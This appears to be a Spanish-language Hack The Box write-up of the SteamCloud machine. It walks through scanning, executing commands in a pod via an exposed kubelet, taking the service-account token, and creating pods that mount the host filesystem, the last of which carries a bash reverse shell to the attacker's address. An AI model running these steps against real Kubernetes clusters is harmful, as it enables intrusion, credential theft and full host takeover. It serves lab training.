SteamCloud WriteUp - HTB

Análisis

En la siguiente publicación se describe como resolver la máquina SteamCloud. Primero se prueba conectividad con la máquina por medio del comando ping. Esto nos ayudara a saber que sistema operativo se esta usando.

  • Linux = 64 TTL
  • Windows = 128 TTL

Al mandar una traza ICMP, vemos que tiene como TTL 63 por lo que es una máquina Linux.

ping -c 1 10.10.11.133
PING 10.10.11.133 (10.10.11.133) 56(84) bytes of data.
64 bytes from 10.10.11.133: icmp_seq=1 ttl=63 time=93.7 ms

Al saber que tenemos conexión procedemos a usar la herramienta nmap, esta nos ayudará a saber que puertos estan abiertos y que servicios están asociados. Mandamos el siguiente comando:

nmap -p- --open --min-rate 10000 -v -n -Pn 10.10.11.133 -oN Puertos
-p- --open: Solo nos muestra los puertos abiertos del servidor.
--min-rate 10000: Cantidad de hilos que se le mandarán al servidor.
-v: Nos muestre información en pantalla.
-n: No aplique resolución DNS.
-Pn: No realice la fase de descubrimiento de host.
-oN: Puertos: Guarde la informació encontrada en un archivo de formato nmap.

Este comando nos da como resultado que el servidor dispone de un puerto abierto que es el 22, este puerto es usualmente usado para conexión ssh.

PORT   STATE SERVICE
22/tcp open  ssh

Por otra parte, con la misma herramienta nmap se procede a mandar unos scripts basicos de reconocimiento que nos ayudará a saber que servicios están asociados a los puertos encontrados. Se manda con el siguiente comando:

nmap -sCV -vvv -n -Pn 10.10.11.133 -oN Servicios
-sCV: Scripts que ayudan a descubrir servicios asociados a los puertos abiertos.
-vvv: Nos muestre información en pantalla.
-n: No aplique resolución DNS
-Pn: No realice la fase de descrubrimiento de host
-oN Servicios: Guarde la información encontrada en un archivo de formato nmap.

Este comando nos da como resultado que el servidor cuenta con un puerto más abierto (8443), es importante recalcar que si a nivel de scripts de reconocimiento no nos diera más puertos expuestos o información importante, se usuaría la misma herramienta nmap para escanear puertos UDP.

PORT     STATE SERVICE       REASON  VERSION                                                                                                                                                 
22/tcp   open  ssh           syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8443/tcp open  ssl/https-alt syn-ack                                                                                                                                                         
_http-title: Site doesn't have a title (application/json). 
ssl-cert: Subject: commonName=minikube/organizationName=system:masters
Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes,
DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1

De la información dada se puede recalcar que el puerto 8443 es un servicio https pero que está usando kubernetes.

Antes de proceder con el análisis es importante saber:

					¿Qué es Kubernetes?

Kubernetes es un software de código abierto que sirve para implementar y administrar contenedores 
a gran escala.

Ya que se sabe que es Kubernetes, se procede abrir el navegador y colocar la dirección de la máquina con el puerto que brinda este servicios. (8443) Vemos que no nos brinda una mayor información, ya que no tenemos permisos pero nos indica que en el sistema hay un usuario de forma anonymous.

Kind	"Status"
apiVersion	"v1"
metadata	{}
status	"Failure"
message	"forbidden: User \"system:anonymous\" cannot get path \"/\""
reason	"Forbidden"
details	{}
code	403

Explotación

Como se está usando el tema de kubernetes, se procede a instalar la herramienta con el siguiente comando:

sudo snap install kubectl --classic

Al tenerlo instalado, se procede a validar si permite el usuario anonymous, pidiendole que nos traiga información del cluster. Pero como se puede observar no trae información.

kubectl --server https://10.10.11.133:8443 cluster-info
Please enter Username: anonymous
Please enter Password: 
To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
Unable to connect to the server: x509: certificate signed by unknown authority

Actualmente en github se encuentra una herramienta llamada Kubeletctl, esta se puede encontrar en el siguiente repositorio. GitHub/Kubeletctl.

				¿Para qué sirve esta herramienta?

Es una herramienta de línea de comandos que implementa la API de kubelet. Esta herramienta cubre 
todas las APIs documentadas y no documentadas.

Al tenerla instalada se procede a mandarle el siguiente comando para ver si no puedes traer alguna información del kubernetes montado en el servidor.

kubeletctl pods -s 10.10.11.133
pods: Nos muestra los procesos que están corriendo en el cluster.
-s: Se le indica la dirección IP.

Al mandar el anterior comando vemos que nos trae la siguiente información. Lo más importante a recalcar es que hay un POD:Ningx que esta como por defecto en el sistema.

kubeletctl pods -s 10.10.11.133

|POD          	      |NAMESPACE          | Containers 		|
|:--------------------|:------------------|:--------------------|
|storage-provisioner  |kube-system        |storage-provisioner  |
|kube-proxy-9656b     |kube-system        |kube-proxy           |
|nginx                |default            |nginx                |

Al saber que hay un POD llamado nginx y que está por defecto en el sistema, se podría con la misma herramienta kubeletctl ejecutar comandos dentro del servidor, esto se puede realizar de la siguiente forma.

kubeletctl -s 10.10.11.133 exec "id" -p nginx -c nginx
-s: Asignación de la IP del servidor.
exec: Ejecución de comandos dentro del servidor.
-p: Nombre del proceso (POD).
-c: Nombre del contenedor.

Al entender el comando y ejecutarlo, vemos el siguiente resultado.

kubeletctl -s 10.10.11.133 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)

Al saber que si se puede ejecutar comandos dentro del contenedor podemos traer la flag del usuario, ubicada en la ruta /root/user.txt y subirla a la plataforma.

kubeletctl -s 10.10.11.133 exec "cat /root/user.txt" -p nginx -c nginx
187e6664a685********************

Escalada

Ya que se sabe que se puede obtener información del sistema por medio de los comandos anteriores, se procede a buscar información importante en el sistema. Actualmente hay una página llamada HackTricks, esta nos permite obtener información sobre formas de hackeo. En este caso como estamos tocando temas de Kubernetes, se procede a realizar la busqueda sobre este tema y se observar que se encuentra la siguiente información.

Kubernetes Tokens, esto nos indica que si se tiene comprometido el POD y se puede ejecutar comandos, se puede agregar un token ademas de traer la información del sistema.

Las rutas donde se pueden encontrar este token son:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

Se procede a probar una por una y vemos el siguiente resultado.

kubeletctl -s 10.10.11.133 exec "ls /run/secrets/kubernetes.io/serviceaccount" -p nginx -c nginx
ca.crt  namespace  token

¿Qué significa cada archivo?

ca.crt: Certificado por parte de kubernetes para comprobar las comunicaciones.
namespace: Nombre actual de los espacios.
token: Contiene el token del servicio actual.

Como ya se sabe para que sirve cada archivo, se pueden descargar los mas importantes (ca.crt y token) para así ganar acceso al sistema.

kubeletctl -s 10.10.11.133 exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt
kubeletctl -s 10.10.11.133 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee token
-s: Asignación de la IP del servidor.
exec: Ejecución de comandos dentro del servidor.
-p: Nombre del proceso (POD).
-c: Nombre del contenedor.
tee ca.crt: Guarda el archivo solicitado en la ruta actual de trabajo.

Ahora para poder usar Kubectl y así ganar acceso al sistema, se procede a guardar el token en una variable temporal para así poder hacer acciones en el sistema sin necesidad de contraseña.

export token=$(kubeletctl -s 10.10.11.133 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx)

Se guarda en una variable temporal token y se ejecuta el siguiente comando.

kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token get pod
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          145m

Se observa que esta corriendo el POD nginx que fue encontrado en las fases iniciales.

Como ahora se puede obtener información completa del sistema, hay un comando auth can-i que nos brinda información sobre las acciones que puede tomar la cuenta.

kubectl auth can-i --list --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]

Del resultado obtenido vemos que la mas importante es el pods, ya que el usuario puede obtener, crear y lista en el sistema. Buscando un poco en el sistema, se puede observar que hay archivo yaml, que lo que hace es ejecutar y mostra información de los pods.

kubectl get pod nginx -o yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token

apiVersion: v1                                                                                                                                                                               
kind: Pod                                                                                                                                                                                    
metadata:                                                                                                                                                                                    
  annotations:                                                                                                                                                                               
    kubectl.kubernetes.io/last-applied-configuration: |                                                                                                                                      
      {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"ngin
x","volumeMounts":[{"mountPath":"/root","name":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}}                                                                      
  creationTimestamp: "2022-02-17T02:40:02Z"                                                                                                                                                  
  name: nginx                                                                                                                                                                                
  namespace: default                                                                                                                                                                         
  resourceVersion: "497"                                                                                                                                                                     
  uid: 5caf0193-3107-4cc2-9329-e8dfc62a0ea9                                                                                                                                                  
spec:                                                                                                                                                                                        
  containers:                                                                                                                                                                                
  - image: nginx:1.14.2                                                                                                                                                                      
    imagePullPolicy: Never                                                                                                                                                                   
    name: nginx                                                                                                                                                                              
    resources: {}                                                                                                                                                                            
    terminationMessagePath: /dev/termination-log                                                                                                                                             
    terminationMessagePolicy: File                                                                                                                                                           
    volumeMounts:                                                                                                                                                                            
    - mountPath: /root                                                                                                                                                                       
      name: flag                                                                                                                                                                             
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount                                                                                                                               
      name: kube-api-access-94pw6                                                                                                                                                            
      readOnly: true       
					------Cortado------

Al saber que se puede agregar pods con ciertos parametros modificables, se procederá a crear un pod para así despues agregarle más acciones. Se usa la misma estructura pero dejando en blanco ciertos parámetros.

apiVersion: v1 
kind: Pod
metadata:
  name: stranger
  namespace: default
spec:
  containers:
  - name: stranger
    image: nginx:1.14.2
    volumeMounts: 
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:  
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Al crearse en formato .yaml se procede agregar al sistema y se valida la creación.

kubectl apply -f stranger.yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token
pod/stranger created
------
kubectl get pod --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token
NAME       READY   STATUS    RESTARTS   AGE
nginx      1/1     Running   0          168m
stranger   1/1     Running   0          64s

Al crear este pod, no permitiría visualizar la flag del usuaro root, ejecutandolo de la misma manera como se obtuno la flag del usuario.

kubeletctl exec "cat /mnt/root/root.txt" -s 10.10.11.133 -p stranger -c stranger
5720aeb4a16d********************

Ganar acceso total al sistema

Como ya se valido que se puede agregar archivo .yaml al sistema, se procede a crear otro pod pero en este caso enfocandolo en una reverse shell hacía mi máquina.

apiVersion: v1
kind: Pod
metadata:
  name: sistema
  namespace: default
spec:
  containers:
  - name: sistema
    image: nginx:1.14.2
    command: ["/bin/bash"]
    args: ["-c", "/bin/bash -i >& /dev/tcp/10.10.14.2/443 0>&1"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
  • Importante:
    • En la parte de args: debe ir el puerto por el que se va a escuchar y la dirección IP dada por al VPN de HTB.

Se procede abrir una terminal y ponerse en escucha por el puerto dado anteriormente y sube el archivo al sistema.

kubectl apply -f reverse.yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token
pod/reverse created

Se valida la terminal que estaba es escucha y justamente se cuenta con acceso de root.

root@steamcloud:/# whoami
whoami
root

By WhosStranger